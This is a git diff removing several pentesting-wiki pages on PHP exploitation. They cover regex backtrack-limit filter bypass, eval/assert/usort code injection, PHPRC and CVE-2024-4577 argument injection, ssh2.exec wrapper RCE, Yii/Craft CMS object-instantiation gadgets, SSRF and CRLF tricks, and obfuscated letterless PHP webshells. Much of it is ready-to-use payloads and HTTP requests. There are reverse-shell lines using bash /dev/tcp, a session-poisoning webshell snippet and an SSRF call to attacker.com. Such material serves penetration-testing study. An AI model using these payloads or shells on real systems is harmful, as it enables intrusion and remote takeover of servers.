-Trick from: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223](https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223) and [https://mizu.re/post/pong](https://mizu.re/post/pong)
-
-<figure><img src="../../../images/image (26).png" alt=""><figcaption></figcaption></figure>
-
-In short the problem happens because the `preg_*` functions in PHP builds upon the [PCRE library](http://www.pcre.org/). In PCRE certain regular expressions are matched by using a lot of recursive calls, which uses up a lot of stack space. It is possible to set a limit on the amount of recursions allowed, but in PHP this limit [defaults to 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) which is more than fits in the stack.
-
-[This Stackoverflow thread](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) was also linked in the post where it is talked more in depth about this issue. Our task was now clear:\
-**Send an input that would make the regex do 100_000+ recursions, causing SIGSEGV, making the `preg_match()` function return `false` thus making the application think that our input is not malicious, throwing the surprise at the end of the payload something like `{system(<verybadcommand>)}` to get SSTI --> RCE --> flag :)**.
-
-Well, in regex terms, we're not actually doing 100k "recursions", but instead we're counting "backtracking steps", which as the [PHP documentation](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) states it defaults to 1_000_000 (1M) in the `pcre.backtrack_limit` variable.\
-To reach that, `'X'*500_001` will result in 1 million backtracking steps (500k forward and 500k backwards):
-
-```python
-payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
-```
-
-### Type Juggling for PHP obfuscation
-
-```php
-$obfs = "1"; //string "1"
-$obfs++; //int 2
-$obfs += 0.2; //float 2.2
-$obfs = 1 + "7 IGNORE"; //int 8
-$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
-$obfs = 3+2 * (TRUE + TRUE); //int 7
-$obfs .= ""; //string "7"
-$obfs += ""; //int 7
-```
-
-## Execute After Redirect (EAR)
-
-If PHP is redirecting to another page but no **`die`** or **`exit`** function is **called after the header `Location`** is set, the PHP continues executing and appending the data to the body:
-
-```php
-<?php
-// In this page the page will be read and the content appended to the body of
-// the redirect response
-$page = $_GET['page'];
-header('Location: /index.php?page=default.html');
-readfile($page);
-?>
-```
-
-## Path Traversal and File Inclusion Exploitation
-
-Check:
-
-
-{{#ref}}
-../../../pentesting-web/file-inclusion/
-{{#endref}}
-
-## More tricks
-
-- **register_globals**: In **PHP < 4.1.1.1** or if misconfigured, **register_globals** may be active (or their behavior is being mimicked). This implies that in global variables like $\_GET if they have a value e.g. $\_GET\["param"]="1234", you can access it via **$param. Therefore, by sending HTTP parameters you can overwrite variables** that are used within the code.
-- The **PHPSESSION cookies of the same domain are stored in the same place**, therefore if within a domain **different cookies are used in different paths** you can make that a path **accesses the cookie of the path** setting the value of the other path cookie.\
-  This way if **both paths access a variable with the same name** you can make the **value of that variable in path1 apply to path2**. And then path2 will take as valid the variables of path1 (by giving the cookie the name that corresponds to it in path2).
-- When you have the **usernames** of the users of the machine. Check the address: **/\~\<USERNAME>** to see if the php directories are activated.
-- If a php config has **`register_argc_argv = On`** then query params separated by spaces are used to populate the array of arguments **`array_keys($_SERVER['argv'])`** like if they were **arguments from the CLI**. This is interesting because if that **setting is off**, the value of the **args array will be `Null`** when called from the web as the ars arry won't be populated. Therefore, if a web page tries to check if it’s running as a web or as a CLI tool with a comparison like `if (empty($_SERVER['argv'])) {` an attacker could send **parameters in the GET request like `?--configPath=/lalala`** and it will think it’s running as CLI and potential parse and use those arguments. More info in the [original writeup](https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms).
-- [**LFI and RCE using php wrappers**](../../../pentesting-web/file-inclusion/index.html)
-
-### password_hash/password_verify
-
-This functions are typically used in PHP to **generate hashes from passwords** and to to **check** if a password is correct compared with a hash.\
-The supported algorithms are: `PASSWORD_DEFAULT` and `PASSWORD_BCRYPT` (starts with `$2y$`). Note that **PASSWORD_DEFAULT is frequently the same as PASSWORD_BCRYPT.** And currently, **PASSWORD_BCRYPT** has a **size limitation in the input of 72bytes**. Therefore, when you try to hash something larger than 72bytes with this algorithm only the first 72B will be used:
-
-```php
-$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
-False
-
-$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
-True
-```
-
-### HTTP headers bypass abusing PHP errors
-
-#### Causing error after setting headers
-
-From [**this twitter thread**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) you can see that sending more than 1000 GET params or 1000 POST params or 20 files, PHOP is not going to be setting headers in the response.
-
-Allowing to bypass for example CSP headers being set in codes like:
-
-```php
-<?php
-header("Content-Security-Policy: default-src 'none';");
-if (isset($_GET["xss"])) echo $_GET["xss"];
-```
-
-#### Filling a body before setting headers
-
-If a **PHP page is printing errors and echoing back some input provided by the user**, the user can make the PHP server print back some **content long enough** so when it tries to **add the headers** into the response the server will throw and error.\
-In the following scenario the **attacker made the server throw some big errors**, and as you can see in the screen when php tried to **modify the header information, it couldn't** (so for example the CSP header wasn't sent to the user):
-
-![Causing error after setting headers - Filling a body before setting headers: In the following scenario the attacker made the server throw some big errors , and as you can see in the...](<../../../images/image (1085).png>)
-
-## SSRF in PHP functions
-
-Check ther page:
-
-
-{{#ref}}
-php-ssrf.md
-{{#endref}}
-
-## ssh2.exec stream wrapper RCE
-When the `ssh2` extension is installed (`ssh2.so` visible under `/etc/php*/mods-available/`, `php -m`, or even an FTP-accessible `php8.1_conf/` directory), PHP registers `ssh2.*` wrappers that can be abused anywhere user input is concatenated into `fopen()/file_get_contents()` targets. An admin-only download helper such as:
-
-```php
-$wrapper = strpos($_GET['format'], '://') !== false ? $_GET['format'] : '';
-$file_content = fopen($wrapper ? $wrapper . $file : $file, 'r');
-```
-
-is enough to execute shell commands over localhost SSH:
-
-```http
-GET /download.php?id=54&show=true&format=ssh2.exec://yuri:mustang@127.0.0.1:22/ping%2010.10.14.6%20-c%201#
-```
-
-* The credential portion can reuse any leaked system password (e.g., from cracked bcrypt hashes).
-* The trailing `#` comments out the server-side suffix (`files/<id>.zip`), so only your command runs.
-* Blind RCE is confirmed by watching for egress with `tcpdump -ni tun0 icmp` or by serving an HTTP canary.
-
-Swap the command for a reverse shell payload once validated:
-
-```http
-format=ssh2.exec://yuri:mustang@127.0.0.1:22/bash%20-c%20'bash%20-i%20>&%20/dev/tcp/10.10.14.6/443%200>&1'#
-```
-
-Because everything happens inside the PHP worker, the TCP connection originates from the target and inherits the privileges of the injected account (`yuri`, `eric`, etc.).
-
-## Code execution
-
-**system("ls");**\
-**\`ls\`;**\
-**shell_exec("ls");**
-
-[Check this for more useful PHP functions](php-useful-functions-disable_functions-open_basedir-bypass/index.html)
-
-### **RCE via** **preg_replace()**
-
-```php
-preg_replace(pattern,replace,base)
-preg_replace("/a/e","phpinfo()","whatever")
-```
-
-To execute the code in the "replace" argument is needed at least one match.\
-This option of preg_replace has been **deprecated as of PHP 5.5.0.**
-
-### **RCE via Eval()**
-
-```
-'.system('uname -a'); $dummy='
-'.system('uname -a');#
-'.system('uname -a');//
-'.phpinfo().'
-<?php phpinfo(); ?>
-```
-
-### **RCE via Assert()**
-
-This function within php allows you to **execute code that is written in a string** in order to **return true or false** (and depending on this alter the execution). Usually the user variable will be inserted in the middle of a string. For example:\
-`assert("strpos($_GET['page']),'..') === false")` --> In this case to get **RCE** you could do:
-
-```
-?page=a','NeVeR') === false and system('ls') and strpos('a
-```
-
-You will need to **break** the code **syntax**, **add** your **payload**, and then **fix it again**. You can use **logic operations** such as "**and" or "%26%26" or "|"**. Note that "or", "||" doesn't work because if the first condition is true our payload won't get executed. The same way ";" doesn't work as our payload won't be executed.
-
-**Other option** is to add to the string the execution of the command: `'.highlight_file('.passwd').'`
-
-**Other option** (if you have the internal code) is to modify some variable to alter the execution: `$file = "hola"`
-
-### **RCE via usort()**
-
-This function is used to sort an array of items using an specific function.\
-To abuse this function:
-
-```php
-<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
-VALUE: );phpinfo();#
-
-<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
-```
-
-```php
-<?php
-function foo($x,$y){
-    usort(VALUE, "cmp");
-}?>
-VALUE: );}[PHP CODE];#
-
-<?php
-function foo($x,$y){
-    usort();}phpinfo;#, "cmp");
-}?>
-```
-
-You can also use **//** to comment the rest of the code.
-
-To discover the number of parenthesis that you need to close:
-
-- `?order=id;}//`: we get an error message (`Parse error: syntax error, unexpected ';'`). We are probably missing one or more brackets.
-- `?order=id);}//`: we get a **warning**. That seems about right.
-- `?order=id));}//`: we get an error message (`Parse error: syntax error, unexpected ')' i`). We probably have too many closing brackets.
-
-### **RCE via .httaccess**
-
-If you can **upload** a **.htaccess**, then you can **configure** several things and even execute code (configuring that files with extension .htaccess can be **executed**).
-
-Different .htaccess shells can be found [here](https://github.com/wireghoul/htshells)
-
-### RCE via Env Variables
-
-If you find a vulnerability that allows you to **modify env variables in PHP** (and another one to upload files, although with more research maybe this can be bypassed), you could abuse this behaviour to get **RCE**.
-
-- [**`LD_PRELOAD`**](../../../linux-hardening/linux-basics/linux-privilege-escalation/index.html#ld_preload-and-ld_library_path): This env variable allows you load arbitrary libraries when executing other binaries (although in this case it might not work).
-- **`PHPRC`** : Instructs PHP on **where to locate its configuration file**, usually called `php.ini`. If you can upload your own config file, then, use `PHPRC` to point PHP at it. Add an **`auto_prepend_file`** entry specifying a second uploaded file. This second file contains normal **PHP code, which is then executed** by the PHP runtime before any other code.
-  1. Upload a PHP file containing our shellcode
-  2. Upload a second file, containing an **`auto_prepend_file`** directive instructing the PHP preprocessor to execute the file we uploaded in step 1
-  3. Set the `PHPRC` variable to the file we uploaded in step 2.
-     - Get more info on how to execute this chain [**from the original report**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
-- **PHPRC** - another option
-  - If you **cannot upload files**, you could use in FreeBSD the "file" `/dev/fd/0` which contains the **`stdin`**, being the **body** of the request sent to the `stdin`:
-    - `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
-  - Or to get RCE, enable **`allow_url_include`** and prepend a file with **base64 PHP code**:
-    - `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
-  - Technique [**from this report**](https://vulncheck.com/blog/juniper-cve-2023-36845).
-
-### XAMPP CGI RCE - CVE-2024-4577
-
-The webserver parses HTTP requests and passes them to a PHP script executing a request such as as [`http://host/cgi.php?foo=bar`](http://host/cgi.php?foo=bar&ref=labs.watchtowr.com) as `php.exe cgi.php foo=bar`, which allows a parameter injection. This would allow to inject the following parameters to load the PHP code from the body:
-
-```jsx
--d allow_url_include=1 -d auto_prepend_file=php://input
-```
-
-Moreover, it's possible to inject the "-" param using the 0xAD character due to later normalization of PHP. Check. the exploit example from [**this post**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/):
-
-```jsx
-POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
-Host: {{host}}
-User-Agent: curl/8.3.0
-Accept: */*
-Content-Length: 23
-Content-Type: application/x-www-form-urlencoded
-Connection: keep-alive
-
-<?php
-phpinfo();
-?>
-
-```
-
-## PHP Sanitization bypass & Brain Fuck
-
-[**In this post**](https://blog.redteam-pentesting.de/2024/moodle-rce/) it's possible to find great ideas to generate a brain fuck PHP code with very few chars being allowed.\
-Moreover it's also proposed an interesting way to execute functions that allowed them to bypass several checks:
-
-```php
-(1)->{system($_GET[chr(97)])}
-```
-
-## PHP Static analysis
-
-Look if you can insert code in calls to these functions (from [here](https://www.youtube.com/watch?v=SyWUsN0yHKI&feature=youtu.be)):
-
-```php
-exec, shell_exec, system, passthru, eval, popen
-unserialize, include, file_put_cotents
-$_COOKIE | if #This mea
-```
-
-If yo are debugging a PHP application you can globally enable error printing in`/etc/php5/apache2/php.ini` adding `display_errors = On` and restart apache : `sudo systemctl restart apache2`
-
-### Deobfuscating PHP code
-
-You can use the **web**[ **www.unphp.net**](http://www.unphp.net) **to deobfuscate php code.**
-
-## PHP Wrappers & Protocols
-
-PHP Wrappers ad protocols could allow you to **bypass write and read protections** in a system and compromise it. For [**more information check this page**](../../../pentesting-web/file-inclusion/index.html#lfi-rfi-using-php-wrappers-and-protocols).
-
-## Xdebug unauthenticated RCE
-
-If you see that **Xdebug** is **enabled** in a `phpconfig()` output you should try to get RCE via [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit)
-
-## Variable variables
-
-```php
-$x = 'Da';
-$$x = 'Drums';
-
-echo $x; //Da
-echo $$x; //Drums
-echo $Da; //Drums
-echo "${Da}"; //Drums
-echo "$x ${$x}"; //Da Drums
-echo "$x ${Da}"; //Da Drums
-```
-
-## RCE abusing new $\_GET\["a"]\($\_GET\["b"])
-
-If in a page you can **create a new object of an arbitrary class** you might be able to obtain RCE, check the following page to learn how:
-
-
-{{#ref}}
-php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md
-{{#endref}}
-
-## Execute PHP without letters
-
-[https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/](https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/)
-
-### Using octal
-
-```php
-$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);
-```
-
-### **XOR**
-
-```php
-$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
-$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
-$___=$__; #Could be not needed inside eval
-$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
-```
-
-### XOR easy shell code
-
-According to [**this writeup** ](https://mgp25.com/ctf/Web-challenge/)the following it's possible to generate an easy shellcode this way:
-
-```php
-$_="`{{{"^"?<>/"; // $_ = '_GET';
-${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
-
-$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
-```
-
-So, if you can **execute arbitrary PHP without numbers and letters** you can send a request like the following abusing that payload to execute arbitrary PHP:
-
-```
-POST: /action.php?_=system&__=cat+flag.php
-Content-Type: application/x-www-form-urlencoded
-
-comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
-```
-
-For a more in depth explanation check [https://ctf-wiki.org/web/php/php/#preg_match](https://ctf-wiki.org/web/php/php/#preg_match)
-
-### XOR Shellcode (inside eval)
-
-```bash
-#!/bin/bash
-
-if [[ -z $1 ]]; then
-  echo "USAGE: $0 CMD"
-  exit
-fi
-
-CMD=$1
-CODE="\$_='\
-```
-
-```php
-lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
-```
-
-```php
-lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"
-```
-
-### Perl like
-
-```php
-<?php
-$_=[];
-$_=@"$_"; // $_='Array';
-$_=$_['!'=='@']; // $_=$_[0];
-$___=$_; // A
-$__=$_;
-$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
-$___.=$__; // S
-$___.=$__; // S
-$__=$_;
-$__++;$__++;$__++;$__++; // E
-$___.=$__;
-$__=$_;
-$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
-$___.=$__;
-$__=$_;
-$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
-$___.=$__;
-
-$____='_';
-$__=$_;
-$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
-$____.=$__;
-$__=$_;
-$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
-$____.=$__;
-$__=$_;
-$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
-$____.=$__;
-$__=$_;
-$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
-$____.=$__;
-
-$_=$$____;
-$___($_[_]); // ASSERT($_POST[_]);
-```
-
-## References
-- [0xdf – HTB Era: abusing ssh2.exec stream wrappers](https://0xdf.gitlab.io/2025/11/29/htb-era.html)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md
deleted file mode 100644
index 3960cc6b4a8..00000000000
--- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md
+++ /dev/null
@@ -1,191 +0,0 @@
-# PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-This is basically a summary of [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
-
-## Introduction
-
-The creation of new arbitrary objects, such as `new $_GET["a"]($_GET["a"])`, can lead to Remote Code Execution (RCE), as detailed in a [**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/). This document highlights various strategies for achieving RCE.
-
-## RCE via Custom Classes or Autoloading
-
-The syntax `new $a($b)` is used to instantiate an object where **`$a`** represents the class name and **`$b`** is the first argument passed to the constructor. These variables can be sourced from user inputs like GET/POST, where they may be strings or arrays, or from JSON, where they might present as other types.
-
-Consider the code snippet below:
-
-```php
-class App {
-    function __construct ($cmd) {
-        system($cmd);
-    }
-}
-
-class App2 {
-    function App2 ($cmd) {
-        system($cmd);
-    }
-}
-
-$a = $_GET['a'];
-$b = $_GET['b'];
-
-new $a($b);
-```
-
-In this instance, setting `$a` to `App` or `App2` and `$b` to a system command (e.g., `uname -a`) results in the execution of that command.
-
-**Autoloading functions** can be exploited if no such classes are directly accessible. These functions automatically load classes from files when needed and are defined using `spl_autoload_register` or `__autoload`:
-
-```php
-spl_autoload_register(function ($class_name) {
-    include './../classes/' . $class_name . '.php';
-});
-
-function __autoload($class_name) {
-    include $class_name . '.php';
-};
-
-spl_autoload_register();
-```
-
-The behavior of autoloading varies with PHP versions, offering different RCE possibilities.
-
-## RCE via Built-In Classes
-
-Lacking custom classes or autoloaders, **built-in PHP classes** may suffice for RCE. The number of these classes ranges between 100 to 200, based on PHP version and extensions. They can be listed using `get_declared_classes()`.
-
-Constructors of interest can be identified through the reflection API, as shown in the following example and the link [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF).
-
-**RCE via specific methods includes:**
-
-### **SSRF + Phar Deserialization**
-
-The `SplFileObject` class enables SSRF through its constructor, allowing connections to any URL:
-
-```php
-new SplFileObject('http://attacker.com/');
-```
-
-SSRF can lead to deserialization attacks in versions of PHP before 8.0 using the Phar protocol.
-
-### **Exploiting PDOs**
-
-The PDO class constructor allows connections to databases via DSN strings, potentially enabling file creation or other interactions:
-
-```php
-new PDO("sqlite:/tmp/test.txt")
-```
-
-### **SoapClient/SimpleXMLElement XXE**
-
-Versions of PHP up to 5.3.22 and 5.4.12 were susceptible to XXE attacks through the `SoapClient` and `SimpleXMLElement` constructors, contingent on the version of libxml2.
-
-## RCE via Imagick Extension
-
-In the analysis of a **project's dependencies**, it was discovered that **Imagick** could be leveraged for **command execution** by instantiating new objects. This presents an opportunity for exploiting vulnerabilities.
-
-### VID parser
-
-The VID parser capability of writing content to any specified path in the filesystem was identified. This could lead to the placement of a PHP shell in a web-accessible directory, achieving Remote Code Execution (RCE).
-
-#### VID Parser + File Upload
-
-It's noted that PHP temporarily stores uploaded files in `/tmp/phpXXXXXX`. The VID parser in Imagick, utilizing the **msl** protocol, can handle wildcards in file paths, facilitating the transfer of the temporary file to a chosen location. This method offers an additional approach to achieve arbitrary file writing within the filesystem.
-
-### PHP Crash + Brute Force
-
-A method described in the [**original writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) involves uploading files that trigger a server crash before deletion. By brute-forcing the name of the temporary file, it becomes possible for Imagick to execute arbitrary PHP code. However, this technique was found to be effective only in an outdated version of ImageMagick.
-
-## Yii / Craft CMS config-array object creation
-
-Craft CMS CVE-2025-32432 is a good real-world example of a broader Yii abuse pattern: if attacker-controlled arrays reach a Yii constructor or `Yii::createObject()`-style sink, **behavior attachment and class selection can become an object-instantiation primitive**.
-
-Two config features are especially interesting:
-
-- `as <name>` attaches a behavior, so nested arrays are treated as object configs.
-- In vulnerable Yii 2 builds before **2.0.52**, `__class` can take precedence over a validated `class`, so checking only `class` is bypassable.
-
-Minimal pattern:
-
-```json
-{
-  "as session": {
-    "class": "safe\ExpectedBehavior",
-    "__class": "GuzzleHttp\Psr7\FnStream",
-    "__construct()": [[]],
-    "_fn_close": "phpinfo"
-  }
-}
-```
-
-If `phpinfo()` runs when the object is closed or destroyed, you have confirmed **arbitrary Yii class instantiation plus callable control** without needing a full RCE chain.
-
-### `yii\rbac\PhpManager` as a file-evaluation gadget
-
-`yii\rbac\PhpManager` expects `itemFile` to point to a **PHP script** containing authorization items. If you can instantiate it with controlled constructor data, you can turn **any readable attacker-influenced PHP file** into code execution:
-
-```json
-{
-  "as exploit": {
-    "class": "safe\ExpectedBehavior",
-    "__class": "yii\rbac\PhpManager",
-    "__construct()": [{
-      "itemFile": "/var/lib/php/sessions/sess_<PHPSESSID>"
-    }]
-  }
-}
-```
-
-Useful file sources include:
-
-- File-based PHP sessions such as `/var/lib/php/sessions/sess_<PHPSESSID>`
-- Web / PHP error logs
-- Uploaded files or predictable temporary files
-
-### Pre-auth redirect/session poisoning
-
-A practical way to create the PHP file is to hit a **protected route before login**. Many frameworks remember the full requested URL in the session so they can redirect the user after authentication. If query-string data is copied verbatim into a file-backed session, injecting PHP such as `<?=system($_GET['cmd'])?>` can turn the session file into a predictable code container.
-
-To exploit this reliably:
-
-1. Obtain or create a valid session ID.
-2. Poison the same session with PHP syntax via a pre-auth redirect/cache/session feature.
-3. Reuse that exact session ID when triggering the `PhpManager` gadget, or the wrong file will be loaded.
-4. If the endpoint crashes with `500` after execution, verify with a side channel such as `ping`, DNS, or HTTP callbacks instead of waiting for command output.
-
-## Format-string in class-name resolution (PHP 7.0.0 Bug #71105)
-
-When user input controls the class name (e.g., `new $_GET['model']()`), PHP 7.0.0 introduced a transient bug during the `Throwable` refactor where the engine mistakenly treated the class name as a printf format string during resolution. This enables classic printf-style primitives inside PHP: leaks with `%p`, write-count control with width specifiers, and arbitrary writes with `%n` against in-process pointers (for example, GOT entries on ELF builds).
-
-Minimal repro vulnerable pattern:
-
-```php
-<?php
-$model = $_GET['model'];
-$object = new $model();
-```
-
-Exploitation outline (from the reference):
-- Leak addresses via `%p` in the class name to find a writable target:
-  ```bash
-  curl "http://host/index.php?model=%p-%p-%p"
-  # Fatal error includes resolved string with leaked pointers
-  ```
-- Use positional parameters and width specifiers to set an exact byte-count, then `%n` to write that value to an address reachable on the stack, aiming at a GOT slot (e.g., `free`) to partially overwrite it to `system`.
-- Trigger the hijacked function by passing a class name containing a shell pipe to reach `system("id")`.
-
-Notes:
-- Works only on PHP 7.0.0 (Bug [#71105](https://bugs.php.net/bug.php?id=71105)); fixed in subsequent releases. Severity: critical if arbitrary class instantiation exists.
-- Typical payloads chain many `%p` to walk the stack, then `%.<width>d%<pos>$n` to land the partial overwrite.
-
-## References
-
-- [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
-- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
-- [0xdf - Hack The Box Orion: Craft CMS CVE-2025-32432 RCE and inetd/Telnet Root Authentication Bypass](https://0xdf.gitlab.io/2026/07/14/htb-orion.html)
-- [Craft CMS and CVE-2025-32432](https://craftcms.com/knowledge-base/craft-cms-cve-2025-32432)
-- [Yii 2.0.52 security advisory](https://www.yiiframework.com/news/709/please-upgrade-to-yii-2-0-52)
-- [Yii `yii\rbac\PhpManager` API docs](https://www.yiiframework.com/doc/api/2.0/yii-rbac-phpmanager)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md
deleted file mode 100644
index 2e791079698..00000000000
--- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md
+++ /dev/null
@@ -1,73 +0,0 @@
-# PHP SSRF
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-### SSRF PHP functions
-
-Some function such as **file_get_contents(), fopen(), file(), md5_file()** accept URLs as input that they will follow making **possible SSRF vulnerabilities** if the use can control the data:
-
-```php
-file_get_contents("http://127.0.0.1:8081");
-fopen("http://127.0.0.1:8081", "r");
-file("http://127.0.0.1:8081");
-md5_file("http://127.0.0.1:8081");
-```
-
-### Wordpress SSRF via DNS Rebinding
-
-As [**explained in this blog post**](https://patchstack.com/articles/exploring-the-unpatched-wordpress-ssrf), even the Wordpress function **`wp_safe_remote_get`** is vulnerable to DNS rebinding, making it potentially vulnerable to SSRF attacks. The main validation it calls is **wp_http_validate_ur**l, which checks that the protocol is `http://` or `https://` and that the port is one of **80**, **443**, and **8080**, but it's **vulnerable to DNS rebinding**.
-
-Other vulnerable functions according to the post are:
-
-- `wp_safe_remote_request()`
-- `wp_safe_remote_post()`
-- `wp_safe_remote_head()`
-- `WP_REST_URL_Details_Controller::get_remote_url()`
-- `download_url()`
-- `wp_remote_fopen()`
-- `WP_oEmbed::discover()`
-
-### CRLF
-
-Moreover, in some cases it might be even possible to send arbitrary headers via CRLF "vulnerabilities" in the previous functions:
-
-```php
-# The following will create a header called from with value Hi and
-# an extra header "Injected: I HAVE IT"
-ini_set("from", "Hi\r\nInjected: I HAVE IT");
-file_get_contents("http://127.0.0.1:8081");
-
-GET / HTTP/1.1
-From: Hi
-Injected: I HAVE IT
-Host: 127.0.0.1:8081
-Connection: close
-
-# Any of the previously mentioned functions will send those headers
-```
-
-> [!WARNING]
-> For more info about that CRLF vuln, check this bug [https://bugs.php.net/bug.php?id=81680\&edit=1](https://bugs.php.net/bug.php?id=81680&edit=1)
-
-Note that these function might have other methods to set arbitrary headers in requests, like:
-
-```php
-$url = "";
-
-$options = array(
-  'http'=>array(
-    'method'=>"GET",
-    'header'=>"Accept-language: en\r\n" .
-              "Cookie: foo=bar\r\n" .  // check function.stream-context-create on php.net
-              "User-Agent: Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.102011-10-16 20:23:10\r\n" // i.e. An iPad
-  )
-);
-
-$context = stream_context_create($options);
-$file = file_get_contents($url, false, $context);
-```
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-
-
diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md
deleted file mode 100644
index 31f4f20bff5..00000000000
--- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md
+++ /dev/null
@@ -1,824 +0,0 @@
-# PHP - Useful Functions & disable_functions/open_basedir bypass
-
-{{#include ../../../../banners/hacktricks-training.md}}
-
-## PHP Command & Code Execution
-
-### PHP Command Execution
-
-**Note:** A [p0wny-shell](https://github.com/flozz/p0wny-shell/blob/master/shell.php) php webshell can **automatically** check and bypass the following function if some of them be disabled.
-
-**exec** - Returns last line of commands output
-
-```bash
-echo exec("uname  -a");
-```
-
-**passthru** - Passes commands output directly to the browser
-
-```bash
-echo passthru("uname -a");
-```
-
-**system** - Passes commands output directly to the browser and returns last line
-
-```bash
-echo system("uname -a");
-```
-
-**shell_exec** - Returns commands output
-
-```bash
-echo shell_exec("uname -a");
-```
-
-\`\` (backticks) - Same as shell_exec()
-
-```bash
-echo `uname -a`
-```
-
-**popen** - Opens read or write pipe to process of a command
-
-```bash
-echo fread(popen("/bin/ls /", "r"), 4096);
-```
-
-**proc_open** - Similar to popen() but greater degree of control
-
-```bash
-proc_close(proc_open("uname -a",array(),$something));
-```
-
-**preg_replace**
-
-```php
-<?php preg_replace('/.*/e', 'system("whoami");', ''); ?>
-```
-
-**pcntl_exec** - Executes a program (by default in modern and not so modern PHP you need to load the `pcntl.so` module to use this function)
-
-```bash
-pcntl_exec("/bin/bash", ["-c", "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"]);
-```
-
